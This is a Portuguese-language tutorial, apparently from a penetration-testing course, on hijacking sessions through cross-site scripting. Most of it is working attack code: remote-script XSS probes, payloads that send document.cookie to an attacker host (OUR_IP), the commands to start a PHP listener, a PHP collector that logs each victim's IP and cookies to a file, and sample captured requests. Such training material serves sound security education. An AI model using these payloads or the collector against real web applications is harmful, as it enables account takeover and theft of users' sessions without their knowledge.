Session Hijacking

As aplicações web modernas utilizam cookies para manter a sessão do usuário durante diferentes sessões de navegação. Isso permite que o usuário faça login apenas uma vez e mantenha sua sessão de login ativa, mesmo que visite o mesmo site em outro horário ou data. No entanto, se um usuário mal-intencionado obtiver os dados do cookie do navegador da vítima, ele poderá obter acesso logado com o usuário da vítima sem conhecer suas credenciais.

Loading a Remote Script

Em HTML, podemos escrever código JavaScript dentro das <script>tags, mas também podemos incluir um script remoto fornecendo sua URL, como segue:

<script src="http://OUR_IP/script.js"></script>

Antes de começarmos a enviar cargas, precisamos iniciar um listener em nossa VM, usando netcatou phpconforme mostrado na seção anterior:

mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80

Agora podemos começar a testar essas cargas uma por uma usando uma delas para todos os campos de entrada e anexando o nome do campo após nosso IP, conforme mencionado anteriormente, como:

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field

Session Hijacking

Depois de encontrarmos uma carga XSS funcional e identificarmos o campo de entrada vulnerável, podemos prosseguir para a exploração do XSS e realizar um ataque de sequestro de sessão.

Existem vários payloads JavaScript que podemos usar para capturar o cookie de sessão e enviá-lo para nós, conforme mostrado por PayloadsAllTheThings :

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

Usar qualquer uma das duas cargas deve funcionar para nos enviar um cookie, mas usaremos a segunda, pois ela simplesmente adiciona uma imagem à página, que pode não parecer muito maliciosa, enquanto a primeira navega para nosso PHP capturador de cookies página, o que pode parecer suspeito.

new Image().src='http://OUR_IP/index.php?c='+document.cookie

Agora, podemos alterar o URL na carga XSS que encontramos anteriormente para usar script.js( don't forget to replace OUR_IP with your VM IP in the JS script and the XSS payload):

<script src=http://OUR_IP/script.js></script>

Com nosso servidor PHP em execução, agora podemos usar o código como parte de nossa carga XSS, enviá-lo no campo de entrada vulnerável e devemos receber uma chamada para nosso servidor com o valor do cookie. No entanto, se houver muitos cookies, poderemos não saber qual valor de cookie pertence a qual cabeçalho de cookie. Assim, podemos escrever um script PHP para dividi-los com uma nova linha e gravá-los em um arquivo. Nesse caso, mesmo que várias vítimas acionem a exploração XSS, obteremos todos os seus cookies ordenados em um arquivo.

Podemos salvar o seguinte script PHP como index.phpe executar novamente o servidor PHP:

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Agora, esperamos que a vítima visite a página vulnerável e visualize nossa carga XSS. Assim que o fizerem, receberemos duas solicitações em nosso servidor, uma para script.js, que por sua vez fará outra solicitação com o valor do cookie:

10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2

Last updated